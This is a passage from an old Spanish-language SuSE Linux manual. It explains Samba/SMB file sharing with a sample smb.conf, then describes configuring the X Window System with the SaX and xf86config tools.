no tiene como las direcciones IPX o IP una estructura que proporcione
informacin para enrutar (ingl. routing); por eso no se puede pasar paquetes
de NetBEUI a travs de enrutadores (ingl. router), lo que reduce una red con
NetBEUI a la zona que se puede alcanzar con repetidores o puentes (ingl.
bridges).
Otros protocolos de red que se han implementado con NetBIOS son IPX de
Novell y TCP/IP. El protocolo con el cual se mont NetBIOS sobre TCP/IP,
se explica en RFC 1001 y 1002; RFC 1001 contiene adems una introduccin
bastante buena sobre los conceptos de NetBIOS; conocerla sirve mucho para
entender servicios como WINS1 .
Los nombres de NetBIOS no tienen nada en comn con aquellos asignados
en el fichero /etc/hosts o por DNS NetBIOS es un rea de nombres com-
pletamente propio. Esto es vlido tambin para los nombres que se asignan en
la implementacin de NetBIOS mediante TCP/IP. Sin embargo, para simpli-
ficar la administracin se recomienda usar, como mnimo para los servidores,
nombres de NetBIOS equivalentes a los del DNS. Samba lo hace por defecto.

Los clientes
Aparte de DOS y Windows 3.1, todos los sistemas operativos usuales de
los PCs soportan el protocolo SMB para la exportacin e importacin de
zonas de disco. Windows for Workgroups 3.11 (Windows para trabajo en
grupos) tambin soporta SMB pero, con la instalacin estndar solo a travs
de IPX y NetBEUI. Para poder utilizar Samba, que ofrece SMB solo a
travs de TCP/IP, se precisa la instalacin de un paquete de software gra-
tuito de Microsoft. Al igual existe tambin software gratuito para DOS y
Windows 3.1, para posibilitar el acceso a Samba. El software se encuentra en
ftp://ftp.microsoft.com/bussys/Clients.
Los servidores SMB ofrecen a sus clientes espacio en disco en forma de
Shares. Un Share es un directorio en el servidor con todos los sub-
directorios. Este se exporta con un determinado nombre y los clientes pueden
acceder a l bajo este nombre. El nombre del Share es completamente libre,
no hace falta que coincida con el nombre del directorio exportado. De la
misma manera se asigna un nombre a una impresora exportada, para que los
clientes puedan acceder a ella.
1 WINS no es ms que un servidor de nombres de NetBIOS ampliado. No es una idea de

Microsoft, solo el nombre es nuevo.

210
8.2. Instalacin del servidor

Permisos de acceso
Un servidor NFS se configura a travs del fichero /etc/exports y las lim-
itaciones de acceso son siempre especficas para una computadora. Esto es
razonable para el entorno Unix para el cual fue diseado, ya que las esta-
ciones de trabajo de Unix son clientes capaces de autentificar los usuarios.
Con la llegada de DOS y Windows, NFS ha dejado de ser algo seguro, ya que
en ellos todos los usuarios tienen derechos de superusuario. En este sentido,
los clientes NFS para DOS representan un problema de seguridad enorme.
Por el contrario, el protocolo SMB viene del mundo DOS y contempla los
problemas de seguridad directamente. Todos los accesos a un Share se prote-
gen con una contrasea. Para realizarlo SMB ofrece dos posibilidades:
 Share Level Security
En este caso cada Share tiene una contrasea fija. Cada persona que
conoce la contrasea tiene acceso al Share.
 User Level Security
Esta variante introduce el concepto de usuario SMB. Cada usuario tiene
que darse de alta en el servidor con una contrasea propia. Despus de
esto, el servidor puede otorgar derechos de acceso a los distintos Shares
en funcin del nombre de usuario.
 Server Level Security
Samba aparenta frente a los clientes trabajar en el User Level Mode,
pero en realidad pasa todas las peticiones de entrada a otra computadora
en User Level Mode, que se encarga de la autentificacin. Esta config-
uracin precisa de un parmetro adicional (password server =).
La decisin sobre el tipo de autentificacin es algo que afecta a todo el servi-
dor. No es posible exportar algunos shares en modalidad Share Level Secu-
rity y otros en User Level Security.
El fichero /usr/doc/packages/samba/security_level.txt contiene
ms informacin al respecto.

8.2 Instalacin del servidor


Los servicios de SMB se inician dando a la variable <START_SMB> del
fichero /etc/rc.config el valor yes (ver apartado 3.7.10, Pgina 101).
El fichero /etc/smb.conf contiene prcticamente todos las opciones config-
urables de Samba y su aspecto es similar al de un fichero-.INI de Windows.
Est dividido en varios apartados con distintos parmetros en cada uno. Cada
apartado describe siempre un Share que lleva su mismo nombre. Entre ellos
hay cuatro apartados especiales que son [global], [ejemplo], [cdrom] y
[printers]. El apartado [global] contiene todos los parmetros que se
refieren a la configuracin global. Al generar el apartado [ejemplo] cada
cliente puede acceder sin contrasea al Share [ejemplo] con los derechos
del usuario nobody. Lo mismo es vlido para el apartado [printers],
con el cual se ponen todas las impresoras definidas en /etc/printcap a
disposicin de los clientes, sin necesidad de mencionarlas explcitamente.

211
8. Bailemos samba : : :

smb.conf

Un ejemplo muy simple se muestra en el Fichero 8.2.1.

[global]
workgroup = grupo_de_trabajo
guest account = nobody
keep alive = 30
os level = 2
security = share
printing = bsd
printcap name = /etc/printcap
load printers = yes

[ejemplo]
path = /home/ejemplo
comment = directorio_ejemplar
read only = no
browseable = yes
public = yes
create mode = 0750

[cdrom]
path = /cdrom
comment = cdrom
volume = "Soy_el_CD_ROM"
read only = yes
available = yes
share modes = no
browseable = yes
public = yes

[printers]
comment = All Printers
browseable = no
printable = yes
public = no
read only = yes
create mode = 0700
directory = /tmp

Fichero 8.2.1: Ejemplo de un fichero /etc/smb.conf

El fichero /etc/smb.conf del ejemplo proporciona a todos los usuarios


el directorio /home/beispiel y todas las impresoras anotadas en /etc/
printcap se proporcionan a todos los clientes.

 workgroup = grupo_de_trabajo
El servidor Samba est asignado a un grupo de trabajo como todas las
computadoras con Windows y dentro de este grupo aparece en el Entorno
de red. workgroup es el nombre por defecto del grupo de trabajo en la
versin inglesa de Windows.

212
8.2. Instalacin del servidor

 guest account = nobody


Para determinadas tareas, Samba necesita un usuario dado de alta en
/etc/password, que puede no tener ningn derecho en el sistema de
ficheros o bien, tener derechos mnimos. Cuando se definen Shares con
acceso pblico (parmetro=public = yes), todas las operaciones se ll-
evan a cabo con esta identificacin de usuario. Tambin cuando no existe
ningn Share pblico, el guest account debe estar definido para que el
servidor Samba aparezca en el entorno de red.
 keep alive = 30
Las computadoras con Windows tienen la tendencia a colgarse de vez
en cuando. Cuando se dejan conexiones abiertas es posible que el
servidor lo note despus de mucho rato, por lo tanto, el parmetro
keep alive = 30 hace que Samba compruebe cada 30 segundos si
el cliente todava vive, lo que evita el despilfarro de recursos en el
servidor por tener demasiados procesos abiertos.
 os level = 2
El parmetro os level = 2 hace que Samba ofrezca servicios de nave-
gacin para WfW y Windows 95. Si se encuentra una computadora con
WindowsT en la red, Samba no ofrece este servicio si no se usa la com-
putadora con NT para ello.
 security = share
A este respecto ver el apartado sobre los derechos de acceso.

El apartado [ejemplo] define parmetros para el directorio a exportar. Todos


los usuarios en la red pueden acceder a este directorio sin contrasea ya que
public = yes est validado; tambin es as para el /cdrom exportado (de
este modo puede configurar con Samba p. ej. un Jukebox de bajo coste).

 path = /home/ejemplo
Con este path se exporta el directorio /home/ejemplo.
 comment = directorio_ejemplar
Cada Share de un servidor Samba puede tener un comentario con una
explicacin del mismo.
 browsable = yes
Este comentario hace que el Share ejemplo sea visible en el entorno de
red.
 read only = no
Samba deniega por defecto el acceso de escritura a un Share exporta-
do, pero en este caso es necesario escribir sobre el Share, por lo tanto
read only = no.
 create mode = 750
Las computadoras con Windows desconocen el concepto de derechos de
acceso, propio de Unix, lo que les impide definir los derechos de acceso
que deben tener los ficheros creados.
El parmetro create mode determina con cules derechos se deben crear
los ficheros.

213
8. Bailemos samba : : :

 public = yes
Se permite el acceso como invitado (ingl. guest) a este Share, lo que
suprime la pregunta por una contrasea! El usuario que entra de este
modo aparece como User nobody.

Existe un programa llamado swat que permite una administracin fcil


del servidor samba, ya que ofrece una interfaz de web sencilla para con-
figurarlo cmodamente. Hay ms informacin acerca de este programa
en /usr/doc/packages/samba/htmldocs/swat.8.html o en la Man-
page de swat (man swat).

8.3 Instalacin de los clientes


Primero hay que mencionar que los clientes solo pueden acceder al servidor
Samba va TCP/IP. Actualmente no es posible usar con Samba NetBEUI o
NetBIOS sobre IPX, pero como TCP/IP est ganando cada vez ms terreno
incluso en las aplicaciones de Novell y de Microsoft es bastante cuestion-
able si esto cambiar algn da.

8.3.1 Windows 95/98


Windows 95/98 trae el soporte de TCP/IP incorporado, pero al igual que Win-
dows 3.11 no se instala con la configuracin por defecto. Para la instalacin
de TCP/IP en un Windows ya instalado, se selecciona el icono de red en el
panel de control y despus `Agregar...', `Protocolo' TCP/IP de Mi-
crosoft. Debe indicarse correctamente la direccin y mscara de red (ver
apartado 6, Pgina 145)! Despus del reinicio de la computadora con Win-
dows puede encontrar el servidor Samba en la red (doble-click con el mouse
sobre el icono de red en el escritorio).

Para usar una impresora conectada al servidor Samba, se recomienda in-


stalar en el cliente el driver general para impresoras PostScript o el usado
para impresoras Postscript de Apple (se usan los drivers que vienen junto
con la versin de Windows). Despus se conecta con la cola de impresin
de Linux, que contiene el reconocimiento automtico con apsfilter.

8.4 Optimizacin
Recordamos que la utilidad de la configuracin expuesta anteriormente se
reduce al uso privado y no es de uso comercial.
La configuracin por defecto en /etc/smb.conf es muy lenta, as que a
continuacin presentamos un par de propuestas tiles para optimizar.

 socket options = TCP_NODELAY


El protocolo TCP/IP siempre intenta juntar varios bloques pequeos de
datos. Como Samba trabaja siempre con muchos de estos bloques, la
prctica muestra que es mejor prescindir de este caracterstica de TCP/IP,
usando la opcin socket options = TCP_NODELAY.

214
8.4. Optimizacin

 oplocks = yes
Con esta opcin, los accesos de escritura a ficheros modificados no se
realizan antes de la aparicin de un acceso de lectura por parte de otro
cliente al mismo fichero. As se cumple la funcin de una cach de
escritura.
 write raw = yes
Raw write permite enviar 65535 bytes en cada paquete de datos, lo que
puede resultar en un aumento significativo de velocidad. En caso de
tarjetas de red baratas (de poca calidad) puede ser mejor dejar esta opcin
en write raw = no.
 read raw = yes
Funciona como write raw = yes, pero contempla la lectura de datos.

Los ficheros /usr/doc/packages/samba/textdocs/Speed.txt y


/usr/doc/packages/samba/textdocs/Speed2.txt le brindan ayuda
adicional y muchos trucos para la optimizacin.

215
8. Bailemos samba : : :

216
Parte IV

El Sistema X Window

217
Captulo 9
El sistema X Window

El X Window System es prcticamente un estndar para entornos grficos


de usuario en Unix. Pero eso no es todo sobre el Sistema X Window, X11
es un sistema para redes. Las aplicaciones que corren en la computadora
tierra pueden mostrar sus salidas de pantalla en la computadora sol, si
las computadoras estn conectadas va red. Esta red puede ser una LAN
(Local Area Network red de rea local), pero tambin es posible que las
computadoras se comuniquen a travs de miles de kilmetros usando Internet.
X11 se desarroll gracias a la cooperacin entre DEC ( Digital Equipment
Corporation) y el proyecto Athena del MIT ( Massachusetts Institute of
Technology). La primera versin ( X11R1) sali en septiembre de 1987.
Desde la versin 6 (Release 6) la X Consortium, Inc., y desde 1996 The
Open Group acogieron el desarrollo del X Window System.
XFree86 TM es una implementacin libre de servidores X para sistemas Unix
a base de PC (ver http://www.XFree86.org). XFree86 se sigue desarrol-
lando por programadores en todo el mundo, que se unieron en 1992, forman-
do el XFree86-Team. De esta unin surgi en 1994 la empresa The XFree86
Project, Inc. cuyo objetivo es poner XFree86 TM a la disposicin de un am-
plio pblico y contribuir con el desarrollo e investigacin del Sistema X Win-
dow.
No queremos continuar sin antes agradecer al XFree86-Team por su gran
cooperacin y por haber cedido versiones-beta que han sido cruciales para la
elaboracin de este documento1.
Los siguientes captulos se ocupan de la configuracin del servidor X cosa
que era un tanto complicada en tiempos pasados. Con este fin se explican
los programas SaX (sax)2 y xf86config, que permiten una configuracin
simple del Sistema X Window. En comparacin a xf86config, SaX trabaja
directamente con el servidor X y se puede usar con el mouse. As que lo mejor
es instalar directamente con YaST el programa SaX (paquete sax, serie x, y
los paquetes pendientes, especialmente el paquete xvga16) y tambin si ya
se conoce el servidor X que corresponde a la tarjeta grfica. Los servidores
X se encuentran en la serie serie xsrv (ver apartado 3.5.3, Pgina 85). Si se
olvida elegir un servidor X, SaX lo notar y proceder a instalarlo va YaST.
1
Algunas partes de la descripcin del sistema X11 se sacaron del captulo Configurar XFree86
del libro [HHMK96] que nos dej amablemente Dirk Hohndel.
2 SaX, (ingl. SuSE Advanced X Configuration Tool), hace obsoleto a XF86Setup (paquete

xfsetup, serie x).

219
9. El sistema X Window

Para usar el hardware existente (tarjeta de vdeo, monitor, teclado) de manera


ptima, existe la posibilidad de optimizar la configuracin a mano. Solamente
se discutirn los aspectos ms importantes de esta optimizacin manual. Var-
ios ficheros del directorio /usr/doc/packages/xf86 al igual que la Man-
page de XF86Config (man XF86Config) contienen informacin adicional
sobre el Sistema X Window.

Al configurar el Sistema X Window se recomienda tener mucho cuidado!


Jams se debe arrancar X sin haber terminado la configuracin. Un sis-
tema mal ajustado puede provocar daos irreparables al hardware; estn
en peligro especialmente los monitores de frecuencia fija.
Los autores de este libro y la SuSE GmbH no se responsabilizan de posi-
bles daos. El texto presente fue redactado con mximo cuidado, no ob-
stante no se puede garantizar que los mtodos presentados sean correctos
para su hardware y que no pueda daarse.

9.1 Configuracin con SaX


El programa SaX, (ingl. SuSE Advanced X Configuration Tool), sirve para
una instalacin fcil de Sistema X Window. Se puede utilizar por completo
con el mouse o el teclado directamente sobre una superficie grfica. Aparte
de algunos casos especiales, p. ej. hardware muy antiguo o muy nuevo, es
capaz de reconocer los componentes por s mismo y as facilitar al mximo la
configuracin de un servidor X Window.

9.1.1 Primera instalacin


Para instalar por primera vez Sistema X Window el entorno grfico de todos
los sistemas Linux hay que conocer algunas especificaciones del ordenador:

 El tipo de monitor utilizado (nombre y marca).


 El tipo de teclado.
 El tipo de mouse y el puerto de conexin.
 El productor y el nombre de la tarjeta grfica.

Ejecute el programa SaX (sax) como usuario `root'. Tambin


puede iniciarlo desde YaST: `Administracin de sistema' y despus
`Configurar XFree86[tm]' (ver apartado 3.7).

En la lnea de comando (el prompt de Linux) el programa se inicia con el


comando:
tierra:/root # sax
Despus del inicio se buscan primero tarjetas de expansin del tipo PCI. Si
se encuentra una tarjeta de vdeo de este tipo, el programa la identifica y la
muestra bajo `Tarjeta grfica'.
Despus de haber escaneado el Bus-PCI se abre la pantalla principal, que
contiene las fichas para el mouse `Ratn', el teclado `Teclado', la tarjeta
de vdeo `Tarjeta grfica', el monitor `Monitor' y la superficie grfica

220
9.1. Configuracin con SaX

`Escritorio'. SaX carga entonces los datos sobre el hardware conocido.


Los datos encontrados durante la comprobacin se encuentran despus bajo
sus respectivas fichas, as que la tarjeta grfica que se tenga se encuentra en
la ficha `Tarjeta grfica'.
SaX trata de reconocer el hardware del modo ms exacto posible, no obstante,
se recomienda comprobar y en su caso corregir todos los ajustes que hace SaX
para asegurarse de que todo est bien y completo!
Para ello el programa ofrece bsicamente cinco fichas que son: `Ratn',
`Teclado', `Tarjeta grfica', `Monitor' y `Escritorio'. Todas las
fichas se acceden con un click del mouse sobre el correspondiente ttulo.
Existe tambin la posibilidad de manejar el programa con el teclado para el
   ) se puede llegar a los distintos campos de
caso en que el mouse todava no est configurado correctamente. Pulsando
varias veces la tecla Tab (= Tab 
 
cada ficha. Para cambiar a otra ficha se pulsa Tab hasta que el ttulo de la

ficha actual se enmarque en negro. A continuacin se usa  o ! para

seleccionar la ficha que se mostrar pulsando  - 
  
(= Enter 
). En cada ficha
hay varios elementos como p. ej. botones (ingl. buttons), listas de seleccin
(ingl. listboxes) y cuadros de texto (ingl. entry fields). Estos objetos se pueden

`Aplicar'
 hasta que el botn deseado se enmarque en negro.
manipular tambin por completo con el teclado. Para alcanzar un botn (p. ej.
) se pulsa Tab 

Con  - 
 
o

  se puede pulsar la tecla y as poner en marcha la accin
deseada. Con F10 llega a las opciones de men al extremo superior de la
pantalla.
 
Para seleccionar una opcin de una lista se pulsa Tab hasta que el cuadro
 
correspondiente se enmarque. Con " y # se puede seleccionar la opcin
 .
que se encuentra resaltada por la barra de desplazamiento. Finalmente la
opcin se activa pulsando Enter 

El mouse
(ratn)
La primera ficha que se ve despus del arranque del programa es la del mouse
`Ratn' (Figura 9.1, Pgina 222).
Si el mouse ya fue configurado durante la primera instalacin de Linux, p. ej.
configurando gpm, estos datos se traspasan a SaX y el mouse est directa-
mente a disposicin cuando se inicia SaX. En este caso se puede continuar
de inmediato con la configuracin de los dems dispositivos.

 
Si por el contrario no estuviera configurado el mouse, se tendra que hac-
er ahora. Pulsar dos veces Tab y seleccionar el mouse adecuado bajo
   la lista). Despus pulsar Enter para
`Fabricante' (repasar con " y #    
fijar el fabricante seleccionado. Usar Tab 
para activar la lista de los modelos
`Modelo' y seleccionar el tipo correcto. Pulsando la tecla `Aplicar' es
posible comprobar si la seleccin es correcta, ya que la flecha del mouse se
debera mover ahora.
El sub-men por debajo de `Experto' permite definir directamente un pro-
tocolo de mouse, lo que se debera hacer cuando no se sabe qu tipo de mouse
se tiene y cuando ya se ha intentado sin xito usar el mouse de puerto serie

221
9. El sistema X Window

Figura 9.1: SaX: Ajustes del mouse

como mouse `Microsoft' del tipo `Standard Mouse'. All se pueden


activar tambin opciones adicionales como p. ej. la transferencia en baudios,
emulacin de tres teclas, etc. Las opciones de `Experto' son en detalle las
siguientes:

Figura 9.2: SaX: Ajustes adicionales para configurar el mouse

`Dispositivo': (Driver) En el caso de un fabricante desconocido se puede


definir aqu el `Protocolo' de mouse directamente. Tambin se debe
elegir el tipo de dispositivo. En caso de un mouse conectado al bus, se
debera probar la variante PS/2.
`Propiedades': Definir parmetros detallados sobre el tiempo de respuesta
del mouse.
`Opciones': Emulacin de mouse de 3 botones, etc.

222
9.1. Configuracin con SaX

`Probar': En la parte inferior del mouse simblico del `Zona de


pruebas', se puede comprobar la configuracin del mouse (Figura 9.2,
Pgina 222); si est bien ajustado, los botones del mouse en el dibujo se
alumbran cuando se pulsa uno de los botones reales.

El teclado
El teclado por defecto es uno del tipo Windows 95/98 con la distribucin de
teclado Spanish (Figura 9.3, Pgina 223). Si se tiene otro, hace falta poner
los valores correctos, ya que el teclado es uno de los pocos componentes que
no pueden ser reconocidos automticamente.

Figura 9.3: SaX: Teclado

Comparando el teclado con el que se muestra en pantalla `Teclado', es


fcil ajustar el modelo adecuado bajo `Modelo'. Tampoco hay que olvidar
de poner bajo `Lenguaje' `Espaol' para que todos los caracteres salgan
bien. Esto se puede comprobar en un rea de pruebas al lado del botn
`Borrar'.
Lo ms probable es que no haga falta ajustar nada bajo `Experto'.
Al pulsar el botn `Aplicar', los ajustes realmente se activan.

La tarjeta grfica
En la ficha `Tarjeta grfica' se puede seleccionar en la lista del lado
izquierdo el fabricante y al lado derecho el correspondiente modelo (Figu-
ra 9.4, Pgina 224). SaX intenta reconocer la tarjeta grfica por s mismo, lo
que generalmente funciona muy bien para tarjetas del tipo PCI. La utilidad se
apoya en un banco de datos amplio y actualizado sobre tarjetas de vdeo; ver
el paquete cdb (ingl. Component Data Base). El hardware encontrado resalta
en color.
El botn `Experto' alberga opciones de ajuste avanzadas (Figura 9.5,
Pgina 224). Estas se tocan cuando se elige el servidor X directamente (

223
9. El sistema X Window

Figura 9.4: SaX: Tarjeta de vdeo

`Parmetros del servidor') o cuando se quiere especificar el tamao


de la memoria de la tarjeta, especificar el valor de Ramdac o seleccionar un
Ramdac- o Clock-Chip (en `Chipsets'). Es aconsejable bajar el valor del
Ramdac cuando aparecen imgenes raras efectuando operaciones de ventana,
p. ej. cuando parpadean fragmentos de la lnea de ttulo de una ventana.

Figura 9.5: SaX: Tarjeta de vdeo Opciones especiales

Algunas tarjetas de vdeo necesitan `Opciones' especiales, que encuentran


su lugar en el men ampliado. Para el caso estndar no se necesitan estas
opciones.

Las tarjetas del tipo ISA no se reconocen automticamente; hay que elegir
el servidor X adecuado a mano.

224
9.1. Configuracin con SaX

Si aparece el mensaje de error "The SVGA server is not installed..."


cuando se est seleccionando la tarjeta grfica, hace falta instalar con YaST
el paquete indicado en dicho mensaje (ver apartado 3.5).

El Monitor
El ltimo obstculo para llegar a correr el Sistema X Window es la config-
uracin del monitor usado. La ficha de `Monitor' funciona como la de la
tarjeta grfica. En la lista a la izquierda se selecciona el fabricante del monitor
(`Fabricante') y en la derecha el tipo (`Modelo'). Si la propia pantalla no
se encontrara en la lista es posible definir los rangos de frecuencia horizon-
tal y vertical de su monitor pulsando el botn `Experto'. Los rangos de
frecuencia se encuentran generalmente en el manual de su monitor.
Si no se tuviera ningn dato sobre el monitor, SaX utiliza como valores pre-
determinados 29-61 kHz de frecuencia horizontal y 60-70 Hz de frecuencia
vertical. Estos valores no provocan daos en la gran mayora de monitores.
No obstante, si la imagen se queda oscura o si parpadea mucho cuando ar-
 + Alt +  ;  indica la tecla
ranca el servidor X, entonces se debera eliminar el servidor inmediata-
mente con la combinacin de teclas Ctrl       7! 7!
Backspace para borrar hacia atrs. En caso de no parar inmediatamente el
servidor X es posible que se dae el monitor!

La pantalla
Si se ha tenido xito con la instalacin de la tarjeta grfica, se tiene una
multitud de resoluciones y de profundidades de color a disposicin, que se
administran en el men `Escritorio' (Figura 9.6, Pgina 225).
La ficha `Escritorio' tal vez se parece un poco al ajuste de pantalla de otro
sistema operativo ;-)

Figura 9.6: SaX: Desktop

225
9. El sistema X Window

En el `Escritorio' se puede elegir para cada profundidad de color (


`Colores') una resolucin (`Resolucin').
En el modo de experto (`Experto') es posible generar una lista con varias
resoluciones para una determinada profundidad de color (`Expert' Figu-
ra 9.7, Pgina 226).

Figura 9.7: SaX: Ajustes adicionales Desktop

`Resolucin': Esta ficha se divide en:


`Posible' Resoluciones posibles.
`Actual' Resoluciones actuales.
`Colores' La lista con las profundidades de color.
Seleccionar en la fila vertical de botones al lado derecho, la profundidad
de color (`Colores') a la que se quiere configurar la resolucin de pan-
talla.
El servidor X puede arrancar en distintas profundidades de color, p. ej. en
profundidad de 8 bit, equivalente a 256 colores que se pueden mostrar a
la vez. A cada profundidad de color corresponden diferentes resoluciones
de pantalla, p. ej. la resolucin 800x600, pero no todas las resoluciones
existen para todas las profundidades de color. Por ejemplo una resolucin
de 1600x1200 a profundidad de color de 32 bit es imposible para la
mayora de las tarjetas, porque no contienen suficiente memoria.
A una profundidad de 8 bit existen diferentes resoluciones desde p. ej.
640x480 hasta 1600x1200, que estn apuntadas en la lista actual de res-
oluciones. Durante la ejecucin del servidor X se pueden cambiar tales
resoluciones
+ Alt segn
+ o elCtrl     
orden en la lista pulsando la combinacin de teclas
       + Alt + - , (hay que usar + o - del bloque de
Ctrl +
teclas numricas). El primer elemento de la lista representa la resolucin
en la que arranca el servidor X por defecto.
De la lista de las resoluciones posibles `Posible', hay que mover las
deseadas a la lista de las actuales `Actual'. Para hacerlo se hace un
click sobre la resolucin en cuestin y despus sobre el botn `E' para

226
9.1. Configuracin con SaX

entrar esta resolucin a la lista de las actuales y con `V' se quitan los
elementos de esta lista.
El orden de los elementos en la lista `Actual' se puede modificar usando
las teclas de flecha que estn ubicadas por debajo de la ventana con el
listado. Para efectuarlo, se marca el elemento a mover y posteriormente
se pulsa con el botn izquierdo del mouse la flecha arriba o abajo. As el
elemento cambia de sitio con su sucesor o antecesor.
Cuando se hayan hecho los ajustes de profundidad de color de 8 bit, se
pueden usar los botones a la derecha para seleccionar otra profundidad,
p. ej. 16 bit. Ahora aparecen en la lista `Possible' las resoluciones
posibles para esta profundidad de color, que pueden ser manipuladas tal
como se ha indicado antes.
`Resolucin virtual': Esta ficha permite configurar tamaos de pan-
talla virtuales. Si realmente se quiere tener una zona de pantalla virtual,
entonces hay que aumentar los valores bajo `Virtual X' (= Anchura) o
`Virtual Y' (= Altura). Por lo general se trata de algo no deseado.
Explicacin: El Sistema X Window ofrece la posibilidad de definir un
tamao de escritorio virtual, lo que permite trabajar sobre un escritorio
ms grande que la pantalla visible. Por ejemplo se puede trabajar con un
tamao de escritorio de 1152x864 teniendo una resolucin de monitor de
800x600.
`Especial': Esta ficha permite generar una resolucin propia. Adems se
puede definir aqu la calidad (`Calidad')de los Modelines, eligiendo
dos maneras diferentes de clculo de los mismos.
Ahora se puede determinar con cul profundidad de color arranca por de-
fecto el servidor X, (ingl. default). Para ello hay que marcar en la ficha
`Escritorio' la profundidad de color deseada (usando `Colores'). De-
spus de esto se pulsa el botn `Configurar este modo' para arrancar el
servidor X de prueba : : :

Prueba de la configuracin
Despus de un corto intervalo de clculo aparece un cuadro de mensaje; si
se est de acuerdo se pulsa `S'. Despus debera aparecer una imagen de
fondo y una ventana que muestra en el lado izquierdo informacin sobre la
resolucin actual y las frecuencias verticales y horizontales del modo de vdeo
elegido.
Las teclas de flecha en el campo `Tamao' permiten aumentar o disminuir
en direccin horizontal y vertical. El campo `Posicin' sirve para cambiar
la ubicacin relativa de la imagen en el monitor. Use las teclas para ajustar
la imagen a gusto!
En las cuatro esquinas de la pantalla hay pequeos cuadros para ver si la
imagen esta bien ajustada. En caso de un ajuste correcto estas esquinas se
deben ver completamente sin distorsin de color.

SaX no permite ms que el ajuste fino de la imagen en pantalla y por lo


tanto no reemplaza el ajuste manual con las teclas del monitor!

227
9. El sistema X Window

Despus del ajuste de la imagen existen dos posibilidades de cerrar la ventana:


`Guardar': Terminar la configuracin de Sistema X Window y grabar los
ajustes actuales, con lo cual se regresa al prompt de Linux.
`Cancelar': Cancelacin de SaX sin grabacin de los ajustes.
  
Para regresar a la primera consola se pulsa Alt 
+ F1 
.

9.1.2 Reconfiguracin
SaX tambin ayuda mucho ajustando un servidor X a las necesidades una vez
que est instalado.
Para ello SaX lee y analiza la configuracin en /etc/XF86Config, en la cual
el Sistema X Window graba sus propios datos de configuracin. Por eso no
hace falta configurar otra vez todo (de mouse a monitor), porque SaX acoge la
configuracin existente que funciona. Los datos ledos en /etc/XF86Config
se muestran en sus correspondientes fichas.
No obstante, el usuario tiene toda la libertad en la nueva configuracin del
servidor X: Puede seleccionar el modelo de monitor del amplo banco de
datos y as, adaptar mejor la configuracin a las capacidades del monitor
como tambin ajustar cmodamente la posicin de la imagen en pantalla.
Adems SaX ofrece una superficie confortable para la administracin de to-
das las combinaciones de profundidad de color y de resolucin de la tarjeta
de vdeo a travs de un simple click del mouse en la ficha `Escritorio'.

9.1.3 Troubleshooting
En este apartado tiene lugar la discusin sobre los problemas ms grandes,
que pueden ocurrir durante la configuracin del servidor X usando SaX.
 Si al probar la configuracin el monitor comienza a parpadear o a mostrar
 + Alt +  (Cuidado,
una imagen negra o torcida, mate inmediatamente el servidor X para
que no se dae la pantalla. Para ello pulse Ctrl 
       7!
no Tab 
, sino la tecla  (Backspace)!)
7!
Despus de algo as, se entra en la ficha `Monitor' y se elige un monitor
adecuado o se introducen los datos del monitor a mano. Lo mismo es
vlido cuando la imagen empieza a parpadear durante el ajuste de la
pantalla.
 En casos complicados, SaX ofrece opciones para la lnea de comando,
p. ej.:
--server vga16: En el primer inicio de SaX, se utiliza el servidor
VGA16 en lugar del servidor X especial de la tarjeta de vdeo. Este
servidor debera funcionar prcticamente con todas las tarjetas y se us-
ar automticamente cuando SaX no la reconozca o cuando se use una
tarjeta ISA.
La documentacin actual respecto a SaX se encuentra en el directorio /usr/
doc/packages/sax. Las excepciones en el arranque de SaX o durante
su configuracin se guardan en los ficheros /root/ServerLog y /root/
StartLog, que se pueden consultar en caso de problemas, para sacar conclu-
siones de cmo resolver errores relacionados con SaX.

228
9.2. Configuracin con xf86config

9.1.4 Inicio del Sistema X Window


Ahora cualquier usuario puede arrancar el Sistema X Window con el coman-
do startx. Se activa una superficie grfica preconfigurada por defecto, usando
el gestor de ventanas fvwm. Por eso, es mejor ejecutar startx desde la cuenta
de usuario y no desde la de `root'. Los errores del servidor X (si los hay)
se encuentran en el fichero ~/.X.err. La llamada startx soporta un par de
opciones; por ejemplo con
tux@tierra: > startx -- -bpp 16
se puede elegir la profundidad de color de 16 Bit.

9.2 Configuracin con xf86config


SaX como herramienta de configuracin supera casi siempre al programa
xf86config cuando se trata de configuraciones simples del Sistema X Win-
dow. En las pocas ocasiones en las que SaX no llega a configurar correcta-
mente el servidor X, esto funciona casi siempre con xf86config.
Se necesita una serie de datos para la configuracin:
 Tipo de mouse, puerto de conexin y velocidad de transferencia en bau-
dios (lo ltimo suele ser opcional).
 Especificacin de la tarjeta de vdeo.
 Especificacin del monitor (frecuencias, etc.).
Conociendo estos datos se puede comenzar con la configuracin, que sola-
mente puede ser ejecutada por el usuario `root'.
La configuracin se inicia con:
tierra:/root # /usr/X11R6/bin/xf86config

Mouse
Despus de una pantalla de bienvenida, el primer men pregunta por el tipo
de mouse. Aparecen las siguientes opciones:

1. Microsoft compatible (2-button protocol)


2. Mouse Systems (3-button protocol)
3. Bus Mouse
4. PS/2 Mouse
5. Logitech Mouse (serial, old type, Logitech protocol)
6. Logitech MouseMan (Microsoft compatible)
7. MM Series
8. MM HitTablet

Mensaje en pantalla 9.2.1: Seleccin de mouse para los X

Configurando el tipo de mouse hay que considerar que, muchos de los mouse
ms recientes de Logitech son compatibles con Microsoft o que usan el pro-
tocolo MouseMan. La seleccin de Bus Mouse se refiere a todos los tipos
de mouse de bus, tambin los de Logitech!
El tipo de mouse adecuado se selecciona indicando el nmero al comienzo
de la fila. Despus (p. ej. seleccionando el tipo 1) aparece la pregunta por

229
9. El sistema X Window

la activacin de ChordMiddle. Se trata de una opcin necesaria para la


activacin del botn del medio de algunos mouse de Logitech o para algunos
Trackballs:
Please answer the following question with either `y' or `n'.

Do you want to enable ChordMiddle?


La afirmacin (`y') de la siguiente pregunta permite la emulacin de un
tercer botn de mouse para aquellos solo tienen dos botones:
Please answer the following question with either `y' or `n'.
Do you want to enable Emulate3Buttons?
El tercer botn de mouse se emula interpretando el uso de los dos botones a
la vez, como el del botn del medio.
Despus se pregunta por el puerto en el cual est el mouse:
Now give the full device name that the mouse is connected to, for
example /dev/tty00. Just pressing enter will use the default,
/dev/mouse. Mouse device:
Durante la instalacin ya se ha definido un puerto de mouse, as que se puede
usar aqu esta definicin (/dev/mouse).

Teclado
 
Ahora viene la pregunta, si se debera asignar a la tecla izquierda de Alt el
 el valor ModeShift (AltGr):
valor Meta (ESC) y a la derecha de Alt 
Please answer the following question with either `y' or `n'.
Do you want to enable these bindings for the Alt keys?
Es aconsejable elegir `y' para llegar a los caracteres especiales que se alcan-
   
zan con Alt Gr y tambin para poder usar la tecla izquierda de Alt como
Meta-tecla3 .

